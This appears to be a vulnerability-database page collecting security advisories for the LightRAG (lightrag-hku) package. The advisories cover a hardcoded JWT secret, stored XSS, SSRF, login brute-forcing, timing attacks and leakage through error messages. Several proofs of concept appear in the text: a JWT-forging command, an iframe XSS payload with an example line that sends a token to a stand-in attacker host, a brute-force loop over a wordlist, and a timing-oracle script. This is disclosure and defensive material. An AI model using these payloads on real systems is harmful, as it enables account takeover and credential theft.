Subject: Security Vulnerability Report Hardcoded JWT Secret (CVE-2026-30762)

Hi HKUDS team,

I'm writing to report a security vulnerability I discovered in LightRAG v1.4.10. This has been assigned CVE-2026-30762 by MITRE.

Vulnerability: Hardcoded JWT signing secret Type: Improper Authentication (CWE-287) Severity: High Attack Vector: Remote / Unauthenticated

Summary: The file lightrag/api/config.py (line 397) uses a default JWT secret "lightrag-jwt-default-secret" when the TOKEN_SECRET environment variable is not set. The AuthHandler in lightrag/api/auth.py (lines 24-25) uses this secret to sign and verify tokens. An unauthenticated attacker can forge valid JWT tokens using the publicly known default secret and gain access to any protected endpoint.

Reproduction:

Install LightRAG v1.4.10 with AUTH_ACCOUNTS configured but no TOKEN_SECRET set
Use PyJWT to sign a token: jwt.encode({"sub": "admin", "role": "user"}, "lightrag-jwt-default-secret", algorithm="HS256")
Send a request to any protected endpoint with the header: Authorization: Bearer <forged_token>
Access is granted without valid credentials

Suggested Fix: Require TOKEN_SECRET to be explicitly set when AUTH_ACCOUNTS is configured. Refuse to start the API server if authentication is enabled but no custom secret is provided.

I'm following a 90-day responsible disclosure timeline from today's date. Please let me know if you have any questions or need additional information.

Best regards, Venkata Avinash Taduturi

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 64 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13rc1


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4

Fixed in


          1.4.13

References

Updated Jul 13, 2026 · Source: OSV.dev

Oct 30, 2025

1.4.9.6 patch

9 CVEs

CVE-2026-86062 PYSEC-2026-4065 GHSA-xpjq-3w4w-w5wr Oct 01, 2026

lightrag-hku: Stored Cross-Site Scripting (XSS) in the LightRAG WebUI chat/answer renderer via ingested content

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Summary

The LightRAG WebUI renders assistant/answer chat content as raw HTML — react-markdown is configured with rehypePlugins={[rehypeRaw]} and skipHtml={false} and no HTML sanitizer (rehype-sanitize), element allow-list, or custom urlTransform. Because answer content is derived from user-ingested documents, an attacker who can add a single document can store an HTML/JavaScript payload that executes in the browser of any user who later retrieves it (typically an administrator), leading to auth-token theft from localStorage and full API takeover. No authentication is required in the default configuration.

Details

Sink — lightrag_webui/src/components/retrieval/ChatMessage.tsx:

Main answer (MessageMarkdown, lines ~348-351) and thinking content (lines ~252-272) render with rehypePlugins={[rehypeRaw, …]} and skipHtml={false}. The components map (lines ~111-156) only restyles safe formatting tags (p, h1–h4, ul, ol, li, code); there is no rehype-sanitize, no allowedElements/disallowedElements, and no custom urlTransform.
Second sink: mermaid is initialized with securityLevel: 'loose' (line ~433) and the rendered SVG is injected via container.innerHTML = svg (line ~483) + bindFunctions(container). 'loose' disables mermaid's output sanitization, so a ```mermaid block in answer content (HTML label / click directive) is an additional script-execution path.
Hardening (not code execution): KaTeX is set with trust: true (lines ~261/~359). \href{javascript:…} is blocked by React 19, but \includegraphics{URL} renders a live remote <img src> (arbitrary external resource load from the victim's browser). Recommend trust: false.

Source → sink: POST /documents/text or POST /documents/upload stores the document → POST /query returns it (verbatim when only_need_context=true, lightrag/api/routers/query_routes.py:27; otherwise echoed by the LLM) → the response is streamed into assistantMessage.content (lightrag_webui/src/features/RetrievalView.tsx:340) → rendered by the sink above.

react-markdown's built-in defenses do NOT cover this: it sanitizes href/src URLs (so javascript: links are blocked) and React ignores string event handlers (so <img onerror> is dropped), but raw elements such as <iframe srcdoc="…"> and <svg><script> are rendered unchanged and execute.

PoC

Benign, local-only. Tested at commit f3378a3 (v1.5.5) with react@19, react-markdown@10.1.0, rehype-raw@7.0.0.

Fastest check (code review, ~10s): in ChatMessage.tsx, the <ReactMarkdown> that renders answers uses rehypePlugins={[rehypeRaw, …]} with skipHtml={false} and no rehype-sanitize / allow-list. Per react-markdown's own documentation, rehype-raw on untrusted input without rehype-sanitize allows HTML injection — that is the vulnerability.

Runnable proof (~2 min) — reproduces the exact renderer config and shows it execute in a browser:

mkdir xss-check && cd xss-check
npm init -y
npm install react@19 react-dom@19 react-markdown@10 rehype-raw@7
# save the script below as poc.mjs, then:
node poc.mjs
# open the generated poc.html in any browser (or headless):
#   msedge --headless=new --dump-dom "file:///ABS/PATH/poc.html"

poc.mjs:

import React from 'react';
import { renderToStaticMarkup } from 'react-dom/server';
import ReactMarkdown from 'react-markdown';
import rehypeRaw from 'rehype-raw';
import { writeFileSync } from 'fs';

// Stands in for an assistant answer built from an ingested document.
const answer =
  `<iframe srcdoc="<script>` +
  `var h=parent.document.createElement('h1');h.style.color='red';` +
  `h.textContent='XSS EXECUTED on '+(parent.document.domain||'this page');` +
  `parent.document.body.appendChild(h);parent.document.title='XSS-EXECUTED';` +
  `<\/script>"></iframe>`;

// EXACT options from ChatMessage.tsx (rehypeRaw + skipHtml:false, no sanitizer):
const body = renderToStaticMarkup(
  React.createElement(ReactMarkdown, { rehypePlugins: [rehypeRaw], skipHtml: false }, answer)
);
writeFileSync('poc.html', `<!doctype html><title>before-xss</title><body>${body}</body>`);
console.log(body);   // note the LIVE <iframe srcDoc="..."> — not HTML-escaped

Observed (verified in headless Chromium/Edge): the injected srcdoc script runs — the page title becomes XSS-EXECUTED and a red "XSS EXECUTED on this page" heading is appended to the document. This confirms attacker HTML in answer content executes. (Separately: <script>, <svg><script>, and <iframe srcdoc> survive rendering; <img onerror> and javascript: links are neutralized by React / react-markdown, so <iframe srcdoc> is the reliable vector.)

Illustrative end-to-end source path (in a live instance):

curl -X POST http://127.0.0.1:9621/documents/text \
  -H 'Content-Type: application/json' \
  -d '{"text":"<iframe srcdoc=\"&lt;script&gt;document.title=document.domain&lt;/script&gt;\"></iframe>","file_source":"note.md"}'

Then query the knowledge base from the WebUI (or POST /query with only_need_context=true); the stored payload renders and the benign marker script runs in the viewer's browser (the page title becomes the origin). A real attacker replaces the benign marker with fetch('//attacker/?t='+localStorage.getItem('LIGHTRAG-API-TOKEN')) to exfiltrate the victim's JWT (verified storage key) and impersonate them against the API.

Impact

Stored (persistent) cross-site scripting. Any user in the default no-auth deployment, or any authenticated low-privilege collaborator when auth is enabled, can plant a document whose content runs arbitrary JavaScript in the browser of every user who later retrieves it. Because LightRAG keeps the auth token in localStorage, the injected script can read it and drive the API as the victim (exfiltrate/modify/delete the knowledge base and graph, upload documents) — i.e. escalate to full account/instance takeover.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85740 PYSEC-2026-4064 GHSA-vv3m-f8x4-7377 Oct 01, 2026

lightrag-hku: SSRF via IPv6-transition address bypass (NAT64, IPv4-compatible, 6to4) of the native-markdown image-download guard

7.1 / 10

High

Network High Low None Changed High Low None

Summary

LightRAG's native markdown parser downloads external images referenced by an uploaded markdown or textpack document. The only SSRF guard, _validated_addresses() in lightrag/parser/markdown/parser.py, resolves the image host and rejects it when the resolved IP is not is_global. That check is evaluated on the raw resolved address and never decodes IPv6 transition wrappers that embed an internal IPv4. Python's ipaddress classifies a NAT64 (64:ff9b::/96 and the RFC 8215 64:ff9b:1::/48 prefix), IPv4-compatible (::a.b.c.d), or 6to4 (2002::/16) literal that wraps an internal IPv4 as globally routable, so the guard passes it. On a host with NAT64/DNS64 routing the request is then delivered to the embedded internal target (loopback, RFC1918, or a cloud metadata endpoint), and the fetched body is ingested. The plain and IPv4-mapped (::ffff:) forms of the same internal address are correctly blocked, so this is an encoding that defeats the existing filter.

Affected component and versions

Package: lightrag-hku (LightRAG), the native markdown image-download path.
Component: lightrag/parser/markdown/parser.py, guard _validated_addresses() (the if not (ip.is_global or ...) check), reached from _download() -> _build_guarded_opener().open(req).
Enabled by default: download_enabled = _env_bool("NATIVE_MD_IMAGE_DOWNLOAD_ENABLED", True).
Affected: LightRAG <= 1.5.4 (latest release at time of report, commit 9a45b64).
Precondition: the caller can upload a document (API key via Depends(combined_auth)); the host has NAT64/DNS64 routing for the encoded address to reach the internal endpoint.

Vulnerable code vs the guarded sibling

Evaluated on the exact resolved addresses (CPython ipaddress):

| Form | address | is_global | guard verdict | |---|---|---|---| | plain internal 127.0.0.1 | 127.0.0.1 | False | BLOCK (correct) | | IPv4-mapped | ::ffff:7f00:1 | False | BLOCK (correct) | | NAT64 64:ff9b::/96 | 64:ff9b::7f00:1 | True | PASS (bypass) | | NAT64 RFC8215 64:ff9b:1::/48 | 64:ff9b:1::7f00:1 | True | PASS (bypass) | | IPv4-compatible ::a.b.c.d | ::7f00:1 | True | PASS (bypass) | | 6to4 2002::/16 | 2002:7f00:1:: | True | PASS (bypass) |

The guard already blocks the plain and IPv4-mapped internal forms (the forms the author tested), proving the intent is to reject internal destinations; it never canonicalizes the other transition wrappers, so they pass.

Severity

High. CWE-918 (Server-Side Request Forgery). CVSS 3.1 vector AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N, base score 7.1. AC:H reflects the NAT64/DNS64 network precondition for end-to-end reach; PR:L because document upload requires the API key; S:C because the request pivots into an internal network segment; C:H for internal/metadata/secret disclosure.

Proof of concept (deployed, both directions, verbatim)

Environment: three Docker containers on an IPv6-enabled network - an internal victim (10.66.0.2:80, RFC1918) serving a unique secret, a DNS64/NAT64 gateway owning 64:ff9b::/96 that forwards [64:ff9b::0a42:0002]:80 to 10.66.0.2:80, and an attacker host with a client-side route 64:ff9b::/96 via <gateway>. This models a client on an IPv6-only / NAT64+DNS64 network (AWS/GCP IPv6-only subnets, many mobile and corporate networks). The attacker runs the EXACT released guard code (_validated_addresses, _host_is_public, _build_guarded_opener, the _Guarded*Connection/Handler classes, sliced verbatim from v1.5.4 parser.py, only the logger import shimmed) plus a verbatim reproduction of the released _download() scheme and host precheck. Trigger in production: an uploaded document containing ![x](http://[64:ff9b::<internal-hex>]/a.png).

RUN 1, released v1.5.4 guard (VULNERABLE):

attack URL = http://[64:ff9b::0a42:0002]:80/logo.png
===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : PASSED (fetched)
SECRET LEAKED : True
body          : SSRF-LIGHTRAG-INTERNAL-METADATA-9f3a2b7c
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = True
plain_internal_blocked        = True
public_still_fetched          = True

RUN 2, one-line-class decode fix applied (same inputs, same network):

===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : BLOCKED at guard: non-public host blocked
SECRET LEAKED : False
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = False
plain_internal_blocked        = True
public_still_fetched          = True

Fix-correctness matrix (isolated): genuine global IPv6 2606:4700:4700::1111 and 2001:4860:4860::8888 -> ALLOW (no false positive); NAT64/RFC8215/IPv4-compat/6to4 wrappers of an internal IPv4 -> BLOCK; NAT64 of a public IPv4 (64:ff9b::808:808 = 8.8.8.8) -> ALLOW.

Impact

A caller who can upload a markdown or textpack document (textpack uploads route to the native engine with zero config; markdown reaches it when the native engine is selected) can make the LightRAG server issue HTTP requests to internal-only addresses that the SSRF guard is meant to forbid, and the fetched body is ingested. On a deployment with NAT64/DNS64 routing this reaches cloud instance metadata (169.254.169.254, 100.100.100.200), loopback services, and RFC1918 internal hosts, exposing IAM credentials and internal service data.

Suggested fix

Decode the embedded IPv4 of any IPv6 transition wrapper and classify by the embedded IPv4 before the is_global check:

def _unwrap_embedded_ipv4(ip):
    """Return the IPv4 embedded in an IPv6 transition wrapper (IPv4-mapped,
    IPv4-compatible, NAT64 64:ff9b::/96 and RFC8215 64:ff9b:1::/48, 6to4
    2002::/16) so it is classified by IPv4 rules; else return ip unchanged."""
    if ip.version != 6:
        return ip
    if ip.ipv4_mapped is not None:
        return ip.ipv4_mapped
    if getattr(ip, "sixtofour", None) is not None:
        return ip.sixtofour
    b = ip.packed
    if b[:12] == b"\x00" * 12 and b[12:] not in (b"\x00\x00\x00\x00", b"\x00\x00\x00\x01"):
        return ip_address(b[12:])
    if b[:12] == b"\x00\x64\xff\x9b" + b"\x00" * 8:
        return ip_address(b[12:])
    if b[:6] == b"\x00\x64\xff\x9b\x00\x01":
        return ip_address(b[12:])
    return ip

Then in _validated_addresses:

judged = _unwrap_embedded_ipv4(ip)
if not (judged.is_global or any(ip in net for net in allow)):
    return []

Verified: this blocks the NAT64/IPv4-compat/6to4 internal forms while genuine public IPs and public NAT64-wrapped IPs still pass.

Resolution

Addressed by #3426 (pending merge), targeted for release in lightrag-hku 1.5.5. _validated_addresses() now decides global-routability by starting from the stdlib's is_global on the literal and only ever tightening it — the guard is never more permissive than ipaddress itself:

Fixed-position transition wrappers are decoded and the embedded IPv4 must also be global (IPv4-mapped ::ffff:0:0/96, IPv4-compatible ::/96, and the NAT64 well-known prefix 64:ff9b::/96 — RFC 6052 §2.2, contiguous low-32 embedding). So 64:ff9b::7f00:1 (→ loopback) is blocked while 64:ff9b::808:808 (→ public 8.8.8.8) still passes.
Blocks whose embedded-IPv4 position must not be trusted are default-denied as whole blocks, independent of the interpreter: the RFC 8215 local-use prefix 64:ff9b:1::/48 (technology-agnostic, embedded-IPv4 position not guaranteed per RFC 8215 §5 — a fixed-offset decode is itself bypassable, e.g. 64:ff9b:1:7f00:0:100:808:808 encodes 127.0.0.1 but its low 32 bits read as public 8.8.8.8) and 6to4 2002::/16 (IANA global-reachability N/A; current CPython classifies the whole block non-global — RFC 7526 deprecated only the 6to4 anycast relay path, not the 2002::/16 prefix itself). Decoding 6to4 by its embedded IPv4 would have re-permitted 2002::/16 addresses the stdlib already blocks, so it is denied outright instead.

Genuine global IPv6 and a NAT64 wrapper of a public IPv4 still pass; regression tests cover every wrapped form of loopback / RFC1918 / metadata, the RFC 6052 /48 suffix bypass, and 6to4 of a public IPv4. Boundary: a NAT64 deployment using a custom, globally-routable Network-Specific Prefix (RFC 6052 permits any /32../96), or a genuine local NAT64 / legacy 6to4 in the force-denied blocks, is not auto-permitted — such operators should pin the download egress or set NATIVE_MD_IMAGE_ALLOWED_NON_PUBLIC_CIDRS deliberately.

Credit

tonghuaroot (tonghuaroot@gmail.com).

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85734 PYSEC-2026-4062 GHSA-frch-4w6v-q5xx Oct 01, 2026

lightrag-hku: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks

9.1 / 10

Critical

Network Low None None Unchanged High High None

Summary

The POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed.

Details

# lightrag/api/lightrag_server.py:2161
@app.post("/login")
async def login(form_data: OAuth2PasswordRequestForm = Depends()):
    if not auth_handler.verify_password(username, form_data.password):
        raise HTTPException(status_code=401, detail="Incorrect credentials")
    # No: rate limit / lockout / backoff / CAPTCHA / attempt counter

A search for slowapi, rate_limit, lockout, or throttle in lightrag/api/ returns zero results.

PoC

# Brute-force /login with a wordlist, no throttling
while IFS= read -r pass; do
  code=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST http://<TARGET>:9621/login \
    -d "username=admin&password=${pass}")
  [ "$code" = "200" ] && echo "[FOUND] $pass" && break
done < /usr/share/wordlists/rockyou.txt

Impact

Improper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85725 PYSEC-2026-4061 GHSA-c759-cx9p-mrwq Oct 01, 2026

lightrag-hku: Plaintext Passwords Compared Without Constant-Time Function

5.9 / 10

Medium

Network High None None Unchanged High None None

Summary

When plaintext passwords are stored in AUTH_ACCOUNTS, the comparison uses Python's == operator which is not constant-time. An attacker with low-latency access can exploit timing differences to recover the password character by character.

Details

# lightrag/api/passwords.py:13-26
def verify_password(plain_password: str, stored_password: str) -> bool:
    if stored_password.startswith("{bcrypt}"):
        ...
        return bcrypt.checkpw(...)    # constant-time  OK

    return stored_password == plain_password  # NOT constant-time  VULN
    #   Python == short-circuits on first mismatched byte
    #   Timing leaks: password length + individual characters

PoC

# Timing oracle: recover password char-by-char
import httpx, time, string

TARGET = "http://<TARGET>:9621/login"
USER   = "admin"

def measure(pwd: str) -> float:
    t = time.perf_counter()
    httpx.post(TARGET, data={"username": USER, "password": pwd})
    return time.perf_counter() - t

known = ""
for _ in range(32):
    best = max(string.printable,
               key=lambda c: sum(measure(known+c+"A"*20) for _ in range(10)))
    known += best
    print(f"Recovered: {known}")

Impact

Observable timing discrepancy. Attackers with low-latency access can recover plaintext passwords character by character without triggering brute-force limits. Only affects deployments using unhashed passwords in AUTH_ACCOUNTS.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85709 PYSEC-2026-4063 GHSA-hrmj-7rvj-4hg8 Oct 01, 2026

lightrag-hku: Sensitive Information Exposure Through Raw Exception Messages in API Error Responses

5.3 / 10

Medium

Network Low None None Unchanged Low None None

Summary

The LightRAG API server passes raw Python exception messages directly into HTTP error responses across 30+ error handlers in every router. When combined with the default unauthenticated configuration (see companion report on CWE-306), any network-reachable client can trigger exceptions whose raw text discloses internal infrastructure — server filesystem paths, database host/port/user, LLM provider error details, and Python library internals. No global exception handler sanitizes error messages before they reach the client.

Details

Throughout the API route handlers, exceptions are caught and their string representation is returned verbatim via detail=str(e) / detail=str(exc) (and f-string variants such as detail=f"...: {str(e)}"). This occurs in every router file. Location breakdown on the current main branch:

HTTP 500 — raw exception passthrough (except Exception as e):

document_routes.py — 13
graph_routes.py — 12 (mix of detail=f"...{str(e)}" and detail=error_msg)
query_routes.py — 3
ollama_api.py — 2
lightrag_server.py — 1 (health endpoint)

HTTP 422 — raw exception passthrough (except ValueError as exc):

document_routes.py — 2 (chunking-config validation)

Total: ~33 raw-exception-to-HTTP-response locations. The only pre-existing custom exception handler in lightrag_server.py is specific to RequestValidationError for /query/data; it does not cover the generic Exception handlers in route code.

Example pattern (document_routes.py, upload handler):

except Exception as e:
    logger.error(f"Error /documents/upload: {file.filename}: {str(e)}")
    raise HTTPException(status_code=500, detail=str(e))

Categories of sensitive information that can leak through these responses:

Server filesystem paths. File-I/O errors from the default JSON storage backend expose the server's directory layout (e.g. [Errno 13] Permission denied: '/app/data/rag_storage/default/kv_store_full_docs.json'), aiding path-traversal or targeted attacks. (Verified — see PoC Step 1.)
Database host / port / user / database name. Connection errors from the PostgreSQL, MongoDB, Redis, or Neo4j backends surface the target the driver was trying to reach — e.g. asyncpg raises password authentication failed for user "lightrag" (username) or a socket error naming the unreachable host and port. Note on credentials: the PostgreSQL backend uses asyncpg, which is built from keyword parameters and does not echo the password in its exception strings — so a raw asyncpg error leaks host/port/user/db, not the password. URI-configured backends behave differently: the MongoDB backend is built with AsyncMongoClient(MONGO_URI, ...), and a malformed-URI / configuration error from pymongo can surface the connection string itself, which may embed credentials (mongodb://user:password@host:port/). The leak surface is therefore backend- and error-type-dependent.
LLM provider error details. Errors from OpenAI / Gemini / Bedrock and other providers may include model names, organization ids, or partial API error context that reveal the deployment.
Python library internals. Unexpected exceptions expose class names, library-internal messages, and stack fragments that fingerprint the server stack and version.
Configuration details. Errors during configuration/parsing may reveal storage backend types and other configuration values.

The risk is amplified by the default unauthenticated configuration (CWE-306, companion report), which lets any network client trigger and read these errors without credentials.

PoC

Tested on a clean checkout with the [api] extras installed and the server run via lightrag-server.

Step 1 — Filesystem path disclosure (default JSON storage)

With the default storage backend, a file-permission error is returned verbatim:

# Make a storage file unreadable to force an I/O error.
chmod 000 ./rag_storage/default/kv_store_full_docs.json
curl -s http://localhost:9621/documents | python3 -m json.tool

Vulnerable response — the full server-side path is disclosed:

{
    "detail": "[Errno 13] Permission denied: '/app/data/rag_storage/default/kv_store_full_docs.json'"
}

Step 2 — Database infrastructure disclosure (PostgreSQL backend)

Configure a PostgreSQL KV backend pointed at an unreachable / misconfigured host:

LIGHTRAG_KV_STORAGE=PGKVStorage
POSTGRES_HOST=nonexistent-host-12345.example.com
POSTGRES_PORT=5432
POSTGRES_USER=lightrag
POSTGRES_DATABASE=lightrag

A request that touches storage returns the raw connection error, disclosing the host / port / user the server is configured to reach (the asyncpg password is not echoed — see the credentials note above):

{
    "detail": "[Errno -2] Name or service not known"
}

For a URI-configured backend such as MongoDB (MONGO_URI=mongodb://user:pass@host:port/db), a malformed-URI / configuration error can instead surface the connection string itself, including any embedded credentials.

Impact

Error-message information exposure. A client able to reach the LightRAG server can extract:

Confidentiality (C:L): server filesystem paths, database host/port/user/db, LLM provider configuration hints, and Python stack internals from raw exception messages; for URI-configured backends, potentially the connection string (with embedded credentials).
Escalation risk: leaked hosts/paths aid follow-on attacks; a leaked connection URI could enable direct database access if the database is network-reachable.

When combined with the default unauthenticated configuration, any network client can trigger and read these responses without authentication, which is why this is scored PR:N.

Suggested remediation

Replace every detail=str(e) / detail=str(exc) pattern with a generic client message. Log the full exception server-side (message + traceback) and return only a generic message plus a correlation id:
```
except Exception as e:
    logger.error(f"Error /documents/upload: {file.filename}: {e!r}")
    raise HTTPException(status_code=500, detail="Internal server error")
```

Register a last-resort global handler as defense-in-depth so any exception that escapes a route is sanitized identically:

@app.exception_handler(Exception)
async def unhandled_exception_handler(request, exc):
    logger.error(f"Unhandled exception: {exc!r}", exc_info=True)
    return JSONResponse(status_code=500, content={"detail": "Internal server error"})

Preserve genuine client-input validation feedback. The two HTTP 422 chunking-config validators emit controlled, non-sensitive messages; keep them as 422 feedback rather than genericizing to 500 — but wrap the raw exception so it is never a bare passthrough.

Fix status: implemented in HKUDS/LightRAG#3422 — a shared internal_server_error() helper routes all 500 handlers through a generic body carrying a correlation id (full detail logged server-side), a global @app.exception_handler(Exception) is registered in create_app, and the two 422 validators are wrapped.

Credits

Thai Son Dinh from VinSOC Labs (R&D)
Nguyen Huy Vu Dung from VinSOC Labs (AppSec)

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


